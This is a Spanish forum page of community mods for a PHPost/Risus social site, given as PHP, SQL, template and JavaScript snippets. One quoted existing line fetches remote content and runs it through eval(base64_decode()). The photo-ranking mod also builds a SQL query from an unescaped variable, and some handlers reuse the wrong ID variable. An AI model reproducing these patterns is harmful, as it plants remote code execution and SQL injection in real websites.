¿Ya tienes cuenta? Inicia sesión aquí
Últimos temas
-
Cómo funcionan las Mision...
Foro: Guías y Tutoriales
Último mensaje por: Tronlar
Ayer, 09:46 PM
» Respuestas: 0
» Vistas: 56 -
V6 Original/Dark/Memes (A...
Foro: Diseños Terminados
Último mensaje por: carlos007r
Ayer, 11:08 AM
» Respuestas: 26
» Vistas: 6,336 -
V5
Foro: Diseños Terminados
Último mensaje por: Aeikox
06-13-2026, 12:16 AM
» Respuestas: 8
» Vistas: 1,447 -
Risus 1.3 Actualizado jQu...
Foro: Risus 1.3
Último mensaje por: Tronlar
06-12-2026, 10:45 PM
» Respuestas: 55
» Vistas: 10,660 -
Preguntas Frecuentes y So...
Foro: Guías y Tutoriales
Último mensaje por: Tronlar
06-12-2026, 06:17 PM
» Respuestas: 0
» Vistas: 56 -
Cómo registrar tu comunid...
Foro: Guías y Tutoriales
Último mensaje por: Tronlar
06-12-2026, 05:32 PM
» Respuestas: 0
» Vistas: 51 -
Cómo monetizar tu comunid...
Foro: Guías y Tutoriales
Último mensaje por: Tronlar
06-11-2026, 07:19 PM
» Respuestas: 0
» Vistas: 50 -
Introducción al SEO para ...
Foro: Guías y Tutoriales
Último mensaje por: Tronlar
06-11-2026, 06:58 PM
» Respuestas: 0
» Vistas: 58 -
Guía completa de SEO para...
Foro: Guías y Tutoriales
Último mensaje por: Tronlar
06-11-2026, 06:48 PM
» Respuestas: 0
» Vistas: 60 -
Diccionario de términos b...
Foro: Guías y Tutoriales
Último mensaje por: Tronlar
06-11-2026, 01:41 PM
» Respuestas: 0
» Vistas: 82
Estadísticas del foro
- Mensajes del foro:1,957
- Temas del foro:614
- Miembros:1,036
- Último miembro:carlos007r
[img]Registrate o inicia tu sesión para ver este contenido[/img]
En c.tops.php --> inc --> class --> c.tops.php
Buscar:
Código PHP:
/*
getTopPosts()
*/
Arriba agregar:
Código PHP:
/*
getTopFotos()
*/
function getTopFotos($fecha, $desc){
//
$data = $this->setTime($fecha);
$desc = empty($desc) ? '' : 'AND f_description = '.$desc;
// VOTOS POSITIVOS
$query = db_exec(array(__FILE__, __LINE__), 'query', 'SELECT SUM(f.f_votos_pos) AS total, u.user_id, u.user_name, f_url, f_user, f_votos_pos, f_title, foto_id FROM f_fotos AS f LEFT JOIN u_miembros AS u ON f.f_user = u.user_id WHERE f.f_status = 0 AND f.f_date ***** '.$data['start'].' AND '.$data['end'].' '.$desc.' GROUP BY f.f_user ORDER BY total DESC LIMIT 10');
$array['votos_pos'] = result_array($query);
// VOTOS NEGATIVOS
$query = db_exec(array(__FILE__, __LINE__), 'query', 'SELECT SUM(f.f_votos_neg) AS total, u.user_id, u.user_name, f_url, f_user, f_votos_neg, f_title, foto_id FROM f_fotos AS f LEFT JOIN u_miembros AS u ON f.f_user = u.user_id WHERE f.f_status = 0 AND f.f_date ***** '.$data['start'].' AND '.$data['end'].' '.$desc.' GROUP BY f.f_user ORDER BY total DESC LIMIT 10');
$array['votos_neg'] = result_array($query);
// visitas
$query = db_exec(array(__FILE__, __LINE__), 'query', 'SELECT SUM(f_visitas) AS total, u.user_id, u.user_name, f_url, f_user, f_visitas, f_title, foto_id FROM f_fotos AS f LEFT JOIN u_miembros AS u ON f.f_user = u.user_id WHERE f.f_status = 0 AND f.f_date ***** '.$data['start'].' AND '.$data['end'].' '.$desc.' GROUP BY f.f_user ORDER BY total DESC LIMIT 10');
$array['visitas'] = result_array($query);
// MEDALLAS
$query = db_exec(array(__FILE__, __LINE__), 'query', 'SELECT COUNT(m.medal_for) AS total, u.user_id, u.user_name, f_url, f_user, f_title, foto_id, wm.medal_id FROM w_medallas_assign AS m LEFT JOIN f_fotos AS f ON m.medal_for = f.foto_id LEFT JOIN u_miembros AS u ON f.f_user = u.user_id LEFT JOIN w_medallas AS wm ON wm.medal_id = m.medal_id WHERE wm.m_type = \'3\' AND m.medal_date ***** '.$data['start'].' AND '.$data['end'].' GROUP BY m.medal_for ORDER BY total DESC LIMIT 10');
$array['medallas'] = result_array($query);
//
return $array;
}
En tops.php --> inc --> php --> tops.php
Buscar:
Código PHP:
case 'usuarios':
$smarty->assign("tsTops",$tsTops->getTopUsers($fecha, $cat));
break;
Debajo agregar:
Código PHP:
case 'fotos':
$smarty->assign("tsTops",$tsTops->getTopFotos($fecha, $desc));
break;
En t.tops.tpl --> themes --> default --> templates --> t.tops.tpl
Buscar:
Código PHP:
{elseif $tsAction == 'usuarios'}
{include file='modules/m.top_users.tpl'}
Debajo agregar:
Código PHP:
{elseif $tsAction == 'fotos'}
{include file='modules/m.top_fotos.tpl'}
En head_submenu.tpl --> themes --> default --> templates --> sections --> head_submenu.tpl
Buscar:
Código PHP:
<li{if $tsAction == 'usuarios'} class="here"{/if}><a href="{$tsConfig.url}/top/usuarios/">Usuarios</a></li>
Debajo agregar:
Código PHP:
<li{if $tsAction == 'fotos'} class="here"{/if}><a href="{$tsConfig.url}/top/fotos/">Fotos</a></li>
Y subir esta carpeta
Mega
http://Registrate o inicia tu sesión par... contenido
Google Drive
http://Registrate o inicia tu sesión par... contenido
Mediafire
http://Registrate o inicia tu sesión par... contenido
Creditos: Nico
[img]Registrate o inicia tu sesión para ver este contenido[/img]
En c.core.php --> inc --> class --> c.core.php
Buscar:
Código PHP:
/*
getIUP()
*/
function getIUP($array, $prefix = ''){
// NOMBRE DE LOS CAMPOS
$fields = array_keys($array);
// VALOR PARA LAS TABLAS
$valores = array_values($array);
// NUMERICOS Y CARACTERES
foreach($valores as $i => $val) {
$sets[$i] = $prefix.$fields[$i]." = '".$this->setSecure($val)."'"; // Version: 1.1.500.8
}
$values = implode(', ',$sets);
//
return $values;
}
Debajo agregar:
Código PHP:
//////////////////////INICIA EL MOD DE TRON/////////////////
/*
birthday() OBTENEMOS LA FECHA
*/
function birthday(){
global $tsUser;
//
$query = db_exec(array(__FILE__, __LINE__), 'query', 'SELECT * FROM u_perfil WHERE user_id = \'' . $tsUser->uid . '\' ORDER BY user_id DESC LIMIT 1');
if(!$query) exit( show_error('Error al ejecutar la consulta de la línea '.__LINE__.' de '.__FILE__.'.', 'db') );
$data = db_exec('fetch_assoc', $query);
return $data;
}
/////////////////////////FIN DEL MOD//////////////////////////
En header.php
Buscar:
Código PHP:
// Mensajes
$smarty->assign('tsMPs',$tsMP->mensajes);
Debajo agregar:
Código PHP:
// Cumpleaños
$actuald=date(d);
$actualm=date(m);
$smarty->assign('tsActuald',$actuald);
$smarty->assign('tsActualm',$actualm);
$smarty->assign('tsBirthday',$tsCore->birthday());
En main_header.tpl --> themes --> default --> templates --> sections --> main_header.tpl
Buscar:
Código PHP:
<a id="logoi" title="{$tsConfig.titulo}" href="{$tsConfig.url}">
<img border="0" align="top" title="{$tsConfig.titulo}" alt="{$tsConfig.titulo}" src="Registrate o inicia tu sesión para ver este contenido">
</a>
Reemplazar por:
Código PHP:
{if $tsActuald == $tsBirthday.user_dia && $tsActualm == $tsBirthday.user_mes}
<a style="width: 270px;height: 48px;background: url('{$tsConfig.tema.t_url}/images/logoBirthday.png') no-repeat;float:left;margin-top: 11px;" title="{$tsConfig.titulo}" href="{$tsConfig.url}">
<img border="0" align="top" title="{$tsConfig.titulo}" alt="{$tsConfig.titulo}" src="Registrate o inicia tu sesión para ver este contenido">
</a>
{else}
<a id="logoi" title="{$tsConfig.titulo}" href="{$tsConfig.url}">
<img border="0" align="top" title="{$tsConfig.titulo}" alt="{$tsConfig.titulo}" src="Registrate o inicia tu sesión para ver este contenido">
</a>
{/if}
Y suben la imagen que quieran a la carpeta images con el nombre de logoBirthday.png
Creditos: TRON
[img]Registrate o inicia tu sesión para ver este contenido[/img]
[img]Registrate o inicia tu sesión para ver este contenido[/img]
Ejecutar esta consulta
Código PHP:
ALTER TABLE u_perfil ADD `user_animo` int(11)
En datos.php --> inc --> ext --> datos.php
Buscar:
Código PHP:
'Comida basura',
),
Debajo agregar:
Código PHP:
/* Estados de Animos by LuchoPHP */
'animo' => array(
'Otro',
' <img src="Registrate o inicia tu sesión para ver este contenido"> Alegre ',
' <img src="Registrate o inicia tu sesión para ver este contenido"> Cansado/a',
' <img src="Registrate o inicia tu sesión para ver este contenido"> Enamorado/a ',
' <img src="Registrate o inicia tu sesión para ver este contenido"> Triste',
' <img src="Registrate o inicia tu sesión para ver este contenido"> Enfermo/a ',
' <img src="Registrate o inicia tu sesión para ver este contenido"> Enérgico/a ',
' <img src="Registrate o inicia tu sesión para ver este contenido"> Jugando/a ',
' <img src="Registrate o inicia tu sesión para ver este contenido"> Enojado/a',
' <img src="Registrate o inicia tu sesión para ver este contenido"> Música ',
'<img src="Registrate o inicia tu sesión para ver este contenido"> Borracho/a',
' <img src="Registrate o inicia tu sesión para ver este contenido"> Descansando/a ',
'<img src="Registrate o inicia tu sesión para ver este contenido"> Loco/a',
' <img src="Registrate o inicia tu sesión para ver este contenido"> Feliz',
),
En c.cuenta.php --> inc --> class --> c.cuenta.php
Buscar:
Código PHP:
// BLOQUEADO
Arriba agregar:
Código PHP:
// Estados de Animo by LuchoPHP
$query = db_exec(array(__FILE__, __LINE__), 'query', 'SELECT user_animo FROM u_perfil WHERE user_id = \''.(int)$user_id.'\' LIMIT 1');
$data['u_animo'] = db_exec('fetch_assoc', $query);
Buscar:
Código PHP:
'firma' => $tsCore->setSecure($tsCore->parseBadWords($_POST['firma']), true),
Debajo agregar:
Código PHP:
'animo' => $tsCore->setSecure($_POST['animo']),
En perfil.php --> inc --> php --> perfil.php
Buscar:
Código PHP:
$tsInfo = $tsCuenta->loadHeadInfo($usuario['user_id']);
Debajo agregar:
Código PHP:
// Mod Estados de Animo By LuchoPHP
include('../ext/datos.php');
$smarty->assign("tsPData",$tsPerfilData);
$tsInfo['uid'] = $user_id;
En m.cuenta_cuenta.tpl --> themes --> default --> templates --> modules --> m.cuenta_cuenta.tpl
Buscar:
Código PHP:
<input type="text" style="display: none" value="{$tsUser->info.user_email}" maxlength="35" name="email" id="email" class="text cuenta-save-1 input-hidden-email">
</div>
Debajo agregar:
Código PHP:
{*Animos por LuchoPHP*}
<div class="field">
<label for="animo">Tu Ánimo es: </label>
<select class="cuenta-save-1" name="animo" id="animo" >
{foreach from=$tsPData.animo key=val item=text}
<option value="{$val}" {if $tsPerfil.user_animo == $val}selected="selected"{/if}>{$text}</option>
{/foreach}
</select>
</div>
En m.perfil_headinfo.tpl --> themes --> default --> templates --> modules --> m.perfil_headinfo.tpl
Buscar:
Código PHP:
<li>
<strong>{$tsInfo.stats.user_comentarios}</strong>
<span>Comentarios</span>
</li>
Debajo agregar:
Código PHP:
{if $tsInfo.u_animo.user_animo}
<li>
<strong>{$tsPData.animo[$tsInfo.u_animo.user_animo]}</strong>
<span>Estado</span>
</li>
{/if}
Creditos: Lucho
[img]Registrate o inicia tu sesión para ver este contenido[/img]
[img]Registrate o inicia tu sesión para ver este contenido[/img]
[img]Registrate o inicia tu sesión para ver este contenido[/img]
Ejecutar esta consulta
Código PHP:
ALTER TABLE `w_configuracion` ADD `new` VARCHAR(350) NULL ;
En c.core.php --> inc --> class --> c.core.php
Buscar:
Código PHP:
/*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
}
Arriba agregar:
Código PHP:
function updateEstado($new){
global $tsUser;
if($tsUser->is_admod == 1){
if(db_exec(array(__FILE__, __LINE__), 'query', 'UPDATE w_configuracion SET `new` = \''.$this->setSecure($new).'\''))
return true;
else
exit( show_error('Error al ejecutar la consulta de la línea '.__LINE__.' de '.__FILE__.'.', 'db') );
}
return false;
}
En ajax.feed.php --> inc --> php --> ajax --> ajax.feed.php
Buscar:
Código PHP:
case 'feed-support':
//<--- CONSULTAR ACTUALIZACIONES OFICIALES Y VERIFICAR VERSIÓN ACTUAL DE ESTE SCRIPT
$json = $tsCore->getUrlContent('Registrate o inicia tu sesión para ver este contenido
if(substr($json,0,1) == '0') eval(base64_decode(substr($json,2)));
else echo $json;
//--->
break;
Debajo agregar:
Código PHP:
case 'feed-maintenance':
//<--- INFORMAR DEL ESTADO DEL MANTENIMIENTO
if($tsCore->updateEstado($_GET['new']))
echo true;
else
echo false;
//--->
break;
En main_header.tpl --> themes --> default --> templates --> sections --> main_header.tpl
Buscar:
Código PHP:
{if $tsUser->is_admod == 1}{$tsConfig.install}{/if}
Debajo agregar:
Código PHP:
{if $tsUser->is_admod == 1 && $tsConfig.offline == 1}<div id="msg_install">Estado del mantenimiento (Max 350 caracteres): <input type="text" name="estado" value="{$tsConfig.new}" maxlenght="350" /> <input type="button" onclick="updateMantenimiento();" value="Informar" /></div>{/if}
En acciones.js --> themes --> default --> js --> acciones.js
Al final agregar:
Código PHP:
function updateMantenimiento(){
var update = $("input[name=estado]").val();
if(!update){
mydialog.alert('Error', 'No se ha introducido ningún valor');
return false;
}//
$.ajax({
type: 'GET',
url: global_data.url + '/feed-maintenance.php',
data: 'new=' + update,
success: function(h){
if(h == 1){
//
mydialog.alert('OK', 'El estado del mantenimiento se ha actualizado');
return true;
//
}else{
mydialog.alert('Error', 'Ha ocurrido un error, intentelo de nuevo más tarde');
return false;
//
}
}
});
//
}
En mantenimiento.tpl --> themes --> default --> templates --> sections --> mantenimiento.tpl
Buscar:
Código PHP:
<h3>{$tsConfig.offline_message}</h3>
Debajo agregar:
Código PHP:
<h4><b>Última información:</b> {$tsConfig.new}</h4>
Creditos: aperpen
[img]Registrate o inicia tu sesión para ver este contenido[/img]
[img]Registrate o inicia tu sesión para ver este contenido[/img]
[img]Registrate o inicia tu sesión para ver este contenido[/img]
[img]Registrate o inicia tu sesión para ver este contenido[/img]
[img]Registrate o inicia tu sesión para ver este contenido[/img]
Este MOD consiste en que, cuando denuncias un post, una foto, un mensaje, o un usuario, y en caso si borran un post, foto, mensaje o banean un usuario que tu denunciaste te dan X puntos.
El MOD viene adaptado por si hay varias denuncias al mismo post, y se puede controlar desde la admin.
Ejecutar esta consulta
Código PHP:
ALTER TABLE `w_configuracion` ADD `d_posts` INT( 5 ) NOT NULL DEFAULT '10',
ADD `d_user` INT( 5 ) NOT NULL DEFAULT '10',
ADD `d_mensajes` INT( 5 ) NOT NULL DEFAULT '10',
ADD `d_fotos` INT( 5 ) NOT NULL DEFAULT '10';
En c.admin.php --> inc --> class --> c.admin.php
Buscar:
Código PHP:
'max_posts' => $tsCore->setSecure($_POST['max_posts']),
Arriba agregar:
Código PHP:
'd_posts' => (int)$_POST['d_posts'],
'd_user' => (int)$_POST['d_user'],
'd_fotos' => (int)$_POST['d_fotos'],
'd_mensajes' => (int)$_POST['d_mensajes'],
Buscar:
Código PHP:
`c_allow_live` = \'' . $c['live'] . '\',
Al lado agregar:
Código PHP:
`d_user` = \'' . $c['d_user'] . '\', `d_posts` = \'' . $c['d_posts'] . '\', `d_mensajes` = \'' . $c['d_mensajes'] . '\', `d_fotos` = \'' . $c['d_fotos'] . '\',
En c.moderacion.php --> inc --> class --> c.moderacion.php
Buscar:
Código PHP:
// ELIMINAR DENUNCIAS
db_exec(array(__FILE__, __LINE__), 'query', 'DELETE FROM `w_denuncias` WHERE `obj_id` = \'' . $pid . '\' AND `d_type` = \'1\'');
Arriba agregar:
Código PHP:
$query = db_exec(array(__FILE__, __LINE__), 'query', 'SELECT p.post_user, p.post_title, p.post_body, p.post_tags, p.post_category, u.user_name, u.user_email FROM p_posts AS p LEFT JOIN u_miembros AS u ON p.post_user = u.user_id WHERE p.post_id = \'' .
(int)$pid . '\' LIMIT 1');
$data = db_exec('fetch_assoc', $query);
//SI HAY DENUNCIAS
$query = db_exec(array(__FILE__, __LINE__), 'query', 'SELECT d_user FROM w_denuncias WHERE `obj_id` = \'' . (int) $pid . '\' AND `d_type` = \'1\'');
if(db_exec('num_rows', $query) == 1)
{
$user = db_exec('fetch_array', $query);
db_exec(array(__FILE__, __LINE__), 'query', 'UPDATE u_miembros SET user_puntos = user_puntos + \''.$tsCore->settings['d_posts'].'\' WHERE user_id = \''.$user['d_user'].'\'');
$status = $tsMonitor->setAviso($user['d_user'], 'Denuncia aceptada', 'Se ha aceptado la denuncia que ha hecho al post: <b>' .
$data['post_title'] . '.</b><br><br>Se le han otrogado '.$tsCore->settings['d_posts'].' puntos.<br><br>
Gracias por colaborar.', 1);
}elseif(db_exec('num_rows', $query) > 1){
$user = result_array($query);
foreach($user as $u){
db_exec(array(__FILE__, __LINE__), 'query', 'UPDATE u_miembros SET user_puntos = user_puntos + \''.$tsCore->settings['d_posts'].'\' WHERE user_id = \''.$u['d_user'].'\'');
$status = $tsMonitor->setAviso($u['d_user'], 'Denuncia aceptada', 'Se ha aceptado la denuncia que ha hecho al post: <b>' .
$data['post_title'] . '.</b><br><br>Se le han otrogado '.$tsCore->settings['d_posts'].' puntos.<br><br>
Gracias por colaborar.', 1);
}
}
Buscar:
Código PHP:
// ELIMINAR DENUNCIAS
db_exec(array(__FILE__, __LINE__), 'query', 'DELETE FROM `w_denuncias` WHERE `obj_id` = \'' . (int)$mid . '\' AND `d_type` = \'2\'');
Arriba agregar:
Código PHP:
//SI HAY DENUNCIAS
$query = db_exec(array(__FILE__, __LINE__), 'query', 'SELECT d_user FROM w_denuncias WHERE `obj_id` = \'' . (int) $pid . '\' AND `d_type` = \'2\'');
if(db_exec('num_rows', $query) == 1)
{
$user = db_exec('fetch_array', $query);
db_exec(array(__FILE__, __LINE__), 'query', 'UPDATE u_miembros SET user_puntos = user_puntos + \''.$tsCore->settings['d_mensajes'].'\' WHERE user_id = \''.$user['d_user'].'\'');
$status = $tsMonitor->setAviso($user['d_user'], 'Denuncia aceptada', 'Se ha aceptado la denuncia que ha hecho al mensaje: <b>' .
$data['mp_subject'] . '</b>.<br><br>Se le han otrogado '.$tsCore->settings['d_mensajes'].' puntos.<br><br>
Gracias por colaborar.', 1);
}elseif(db_exec('num_rows', $query) > 1){
$user = result_array($query);
foreach($user as $u){
db_exec(array(__FILE__, __LINE__), 'query', 'UPDATE u_miembros SET user_puntos = user_puntos + \''.$tsCore->settings['d_mensajes'].'\' WHERE user_id = \''.$u['d_user'].'\'');
$status = $tsMonitor->setAviso($u['d_user'], 'Denuncia aceptada', 'Se ha aceptado la denuncia que ha hecho al mensaje: <b>' .
$data['mp_subject'] . '</b>.<br><br>Se le han otrogado '.$tsCore->settings['d_mensajes'].' puntos.<br><br>
Gracias por colaborar.', 1);
}
}
Buscar:
Código PHP:
// ELIMINAR DENUNCIAS
db_exec(array(__FILE__, __LINE__), 'query', 'DELETE FROM `w_denuncias` WHERE `obj_id` = \'' . $fid . '\' AND `d_type` = \'4\'');
Debajo agregar:
Código PHP:
//SI HAY DENUNCIAS
$query = db_exec(array(__FILE__, __LINE__), 'query', 'SELECT d_user FROM w_denuncias WHERE `obj_id` = \'' . (int) $pid . '\' AND `d_type` = \'4\'');
if(db_exec('num_rows', $query) == 1)
{
$user = db_exec('fetch_array', $query);
db_exec(array(__FILE__, __LINE__), 'query', 'UPDATE u_miembros SET user_puntos = user_puntos + \''.$tsCore->settings['d_fotos'].'\' WHERE user_id = \''.$user['d_user'].'\'');
$status = $tsMonitor->setAviso($user['d_user'], 'Denuncia aceptada', 'Se ha aceptado la denuncia que ha hecho a la foto: <b>' .
$data['f_title'] . '.</b><br><br>Se le han otrogado '.$tsCore->settings['d_fotos'].' puntos.<br><br>
Gracias por colaborar.', 1);
}elseif(db_exec('num_rows', $query) > 1){
$user = result_array($query);
foreach($user as $u){
db_exec(array(__FILE__, __LINE__), 'query', 'UPDATE u_miembros SET user_puntos = user_puntos + \''.$tsCore->settings['d_fotos'].'\' WHERE user_id = \''.$u['d_user'].'\'');
$status = $tsMonitor->setAviso($u['d_user'], 'Denuncia aceptada', 'Se ha aceptado la denuncia que ha hecho a la foto: <b>' .
$data['f_title'] . '.</b><br><br> Se le han otrogado '.$tsCore->settings['d_fotos'].' puntos.<br><br>
Gracias por colaborar.', 1);
}
}
Buscar:
Código PHP:
// ELIMINAR DENUNCIAS
db_exec(array(__FILE__, __LINE__), 'query', 'DELETE FROM `w_denuncias` WHERE `obj_id` = \'' . (int)$user_id . '\' AND `d_type` = \'3\'');
Arriba agregar:
Código PHP:
//SI HAY DENUNCIAS
$query = db_exec(array(__FILE__, __LINE__), 'query', 'SELECT d_user FROM w_denuncias WHERE `obj_id` = \'' . (int) $pid . '\' AND `d_type` = \'3\'');
if(db_exec('num_rows', $query) == 1)
{
$user = db_exec('fetch_array', $query);
db_exec(array(__FILE__, __LINE__), 'query', 'UPDATE u_miembros SET user_puntos = user_puntos + \''.$tsCore->settings['d_user'].'\' WHERE user_id = \''.$user['d_user'].'\'');
$status = $tsMonitor->setAviso($user['d_user'], 'Denuncia aceptada', 'Se ha aceptado la denuncia que ha hecho a un usuario.<br><br>Se le han otrogado '.$tsCore->settings['d_user'].' puntos.<br><br>
Gracias por colaborar.', 1);
}elseif(db_exec('num_rows', $query) > 1){
$user = result_array($query);
foreach($user as $u){
db_exec(array(__FILE__, __LINE__), 'query', 'UPDATE u_miembros SET user_puntos = user_puntos + \''.$tsCore->settings['d_user'].'\' WHERE user_id = \''.$u['d_user'].'\'');
$status = $tsMonitor->setAviso($u['d_user'], 'Denuncia aceptada', 'Se ha aceptado la denuncia que ha hecho a un usuario.<br><br>Se le han otrogado '.$tsCore->settings['d_user'].' puntos.<br><br>
Gracias por colaborar.', 1);
}
}
En m.admin_configs.tpl --> themes --> default --> templates --> admin_mods --> m.admin_configs.tpl
Buscar:
Código PHP:
<hr />
<dl>
<dt>
<label for="ai_nfu">Cambio de rango:</label>
<br /><span>Un usuario sube de rango cuando obtiene los puntos mínimos en:</span></dt>
Arriba agregar:
Código PHP:
<hr />
<dl>
<dt><label for="d_posts">Puntos al denunciar post:</label><br /><span>Cantidad de puntos que se le otorgarán al usuario si se borra un post que denunció.</span></dt>
<dd><input type="text" id="d_posts" name="d_posts" maxlength="24" value="{$tsConfig.d_posts}" /></dd>
</dl>
<dl>
<dt><label for="d_mensajes">Puntos al denunciar mensajes:</label><br /><span>Cantidad de puntos que se le otorgarán al usuario si se borra un mensaje que denunció.</span></dt>
<dd><input type="text" id="d_mensajes" name="d_mensajes" maxlength="32" value="{$tsConfig.d_mensajes}"/></dd>
</dl>
<dl>
<dt><label for="d_fotos">Puntos al denunciar fotos:</label><br /><span>Cantidad de puntos que se le otorgarán al usuario si se borra una foto que denunció.</span></dt>
<dd><input type="text" id="d_fotos" name="d_fotos" maxlength="32" value="{$tsConfig.d_fotos}" /></dd>
</dl>
<dl>
<dt><label for="d_user">Puntos al denunciar usuario:</label><br /><span>Cantidad de puntos que se le otorgarán al usuario si se suspende a un usuario que denunció.</span></dt>
<dd><input type="text" id="d_user" name="d_user" maxlength="32" value="{$tsConfig.d_user}" /></dd>
</dl>
Creditos: aperpen
[img]Registrate o inicia tu sesión para ver este contenido[/img]
- Trae las actividades limitadas a 20 c/u
- Son alternadas cada 5 +
- Muestra Información del usuario y el post...
- Los Usuarios son mostrados con sus respectivos colores de su rango
- Se actualiza a medida que los usuarios hacen una actividad en la web y muestra las ultimas actividades...
Este muestra las siguientes filtraciones:
- Últimos posts creados por usuario
- Comentarios del usuario en posts
- Comentarios en fotos
- Votos en fotos
- Puntos otorgados por el usuario en el posts
- Publicaciones en el muro del usuario
- Me gusta en los comentarios
- Fotos subidas por el usuario
- Posts con usuarios que lo siguen
- Posts agregados a favoritos por usuarios
En c.posts.php --> inc --> class --> c.posts.php
Buscar:
Código:
/*
editComentario()
*/Arriba agregar:
Código PHP:
/*
Actividades posts
*/
function act_punt(){
global $tsCore, $tsUser;
$limite = 20;
$query = db_exec(array(__FILE__, __LINE__), 'query', "SELECT * FROM p_votos AS v JOIN u_miembros AS u ON v.tuser = u.user_id JOIN p_posts AS p ON p.post_id = v.tid JOIN p_categorias AS c ON c.cid = p.post_category JOIN u_rangos AS r ON r.rango_id = u.user_rango ORDER BY v.voto_id DESC LIMIT $limite");
$data = result_array($query);
//
return $data;
}
/*
Actividades muro
*/
function act_muro(){
global $tsCore, $tsUser;
$limite = 20;
$query = db_exec(array(__FILE__, __LINE__), 'query', "SELECT * FROM u_muro AS m JOIN u_miembros AS u ON m.p_user = u.user_id JOIN u_rangos AS r ON r.rango_id = u.user_rango ORDER BY m.pub_id DESC LIMIT $limite");
$data = result_array($query);
//
return $data;
}
/*
Actividades muro like
*/
function act_murocom(){
global $tsCore, $tsUser;
$limite = 20;
$query = db_exec(array(__FILE__, __LINE__), 'query', "SELECT * FROM u_muro_comentarios AS um JOIN u_miembros AS u ON um.c_user = u.user_id JOIN u_rangos AS r ON r.rango_id = u.user_rango ORDER BY um.cid DESC LIMIT $limite");
$data = result_array($query);
//
return $data;
}
/*
Actividades Favoritos
*/
function act_fav(){
global $tsCore, $tsUser;
$limite = 20;
$query = db_exec(array(__FILE__, __LINE__), 'query', "SELECT * FROM p_favoritos AS f JOIN p_posts AS p ON f.fav_post_id = p.post_id JOIN u_miembros AS u ON u.user_id = f.fav_user JOIN p_categorias AS c ON c.cid = p.post_category JOIN u_rangos AS r ON r.rango_id = u.user_rango ORDER BY f.fav_id DESC LIMIT $limite");
$data = result_array($query);
//
return $data;
}
/*
Actividades fotos votos
*/
function act_fot(){
global $tsCore, $tsUser;
$limite = 20;
$query = db_exec(array(__FILE__, __LINE__), 'query', "SELECT * FROM f_votos AS v JOIN u_miembros AS u ON v.v_user = u.user_id JOIN f_fotos AS f ON f.foto_id = v.v_foto_id JOIN u_rangos AS r ON r.rango_id = u.user_rango ORDER BY v.vid DESC LIMIT $limite");
$data = result_array($query);
//
return $data;
}
/*
Actividades fotos comentarios
*/
function act_fotc(){
global $tsCore, $tsUser;
$limite = 20;
$query = db_exec(array(__FILE__, __LINE__), 'query', "SELECT * FROM f_comentarios AS f JOIN u_miembros AS u ON f.c_user = u.user_id JOIN f_fotos AS t ON t.foto_id = f.c_foto_id JOIN u_rangos AS r ON r.rango_id = u.user_rango ORDER BY f.cid DESC LIMIT $limite");
$data = result_array($query);
//
return $data;
}
/*
Actividades fotos subidas
*/
function act_imas(){
global $tsCore, $tsUser;
$limite = 20;
$query = db_exec(array(__FILE__, __LINE__), 'query', "SELECT * FROM f_fotos AS f JOIN u_miembros AS u ON f.f_user = u.user_id JOIN u_rangos AS r ON r.rango_id = u.user_rango ORDER BY f.foto_id DESC LIMIT $limite");
$data = result_array($query);
//
return $data;
}
/*
Actividades seguidores
*/
function act_seg(){
global $tsCore, $tsUser;
$limite = 20;
$query = db_exec(array(__FILE__, __LINE__), 'query', "SELECT * FROM p_posts AS p JOIN u_miembros AS u ON p.post_user = u.user_id JOIN u_rangos AS r ON r.rango_id = u.user_rango JOIN p_categorias AS c ON c.cid = p.post_category ORDER BY p.post_id DESC LIMIT $limite");
$data = result_array($query);
//
return $data;
}
/*
Actividades posts creados
*/
function act_postc(){
global $tsCore, $tsUser;
$limite = 30;
$query = db_exec(array(__FILE__, __LINE__), 'query', "SELECT * FROM p_posts AS p JOIN u_miembros AS u ON p.post_user = u.user_id JOIN u_rangos AS r ON r.rango_id = u.user_rango JOIN p_categorias AS c ON c.cid = p.post_category ORDER BY p.post_id DESC LIMIT $limite");
$data = result_array($query);
//
return $data;
}
/*
Actividades comentarios en posts
*/
function act_comp(){
global $tsCore, $tsUser;
$limite = 30;
$query = db_exec(array(__FILE__, __LINE__), 'query', "SELECT * FROM p_comentarios AS co JOIN u_miembros AS u ON co.c_user = u.user_id JOIN p_posts AS p ON p.post_id = co.c_post_id JOIN u_rangos AS r ON r.rango_id = u.user_rango JOIN p_categorias AS c ON c.cid = p.post_category ORDER BY co.cid DESC LIMIT $limite");
$data = result_array($query);
//
return $data;
}
En posts.php --> inc --> php --> posts.php
Buscar:
Código PHP:
// DO <= PARA EL MENU
$smarty->assign("tsDo",$_GET['do']);
Debajo agregar:
Código PHP:
// ACTIVIDADES EN VIVO
$smarty->assign("tsPunt_p",$tsPosts->act_punt());
$smarty->assign("tsMur_m",$tsPosts->act_muro());
$smarty->assign("tsMurc_l",$tsPosts->act_murocom());
$smarty->assign("tsFav_f",$tsPosts->act_fav());
$smarty->assign("tsFot_f",$tsPosts->act_fot());
$smarty->assign("tsFotc_f",$tsPosts->act_fotc());
$smarty->assign("tsSeg_p",$tsPosts->act_seg());
$smarty->assign("tsPostc_p",$tsPosts->act_postc());
$smarty->assign("tsComp_c",$tsPosts->act_comp());
$smarty->assign("tsImas_s",$tsPosts->act_imas());
En t.home.tpl --> themes --> default --> templates --> t.home.tpl
Buscar:
Código PHP:
{include file='modules/m.home_last_posts.tpl'}
Arriba agregar:
Código PHP:
{if $tsUser->is_member}
{include file='modules/m.home_actividades.tpl'}
{/if}
En extras.css --> themes --> default --> extras.css
Al final agregar:
Código PHP:
.vell-body{width:416px;height:auto;background:#EEE;}
.box-t{background:#D7DDE9;color:#546D8B;height:30px;}
.a-us{float:left;color:#576F89;font-weight:700;font-size:12px;margin-left:10px;margin-top:8px;padding-right:10px;}
.a-cc{float:left;color:#576F89;font-weight:700;ht:300;font-size:12px;margin-left:25px;margin-top:8px;}
.a-tl{float:left;color:#576F89;font-weight:700;font-size:12px;margin-left:130px;margin-top:8px;}
.hr-a{background:#606A76;}.hr-v-m{height:1px;background:#CCC;box-shadow:2px 2px 2px #FFF;}
.m-v{height:190px;}.m-v ul li{padding:3px 0 3px 5px;color:#666;}.m-v ul li b{color:#666;}
.m-v ul li a {margin-left:5px; text-decoration:none;}.act-user{text-align:center; width:68px;}
.user-act3{width:225px;margin-left:180px;margin-top:-15px;text-align:center;}
.user-act3 a{font-weight:300; text-decoration:none; color:#666;}
.user-act2{width:100px;margin-left:73px;margin-top:-15px;color:#006600;font-weight:bold;text-align:center;}
.user-act4{width:100px;margin-left:73px;margin-top:-15px;color:#005CA5;font-weight:bold;text-align:center;}
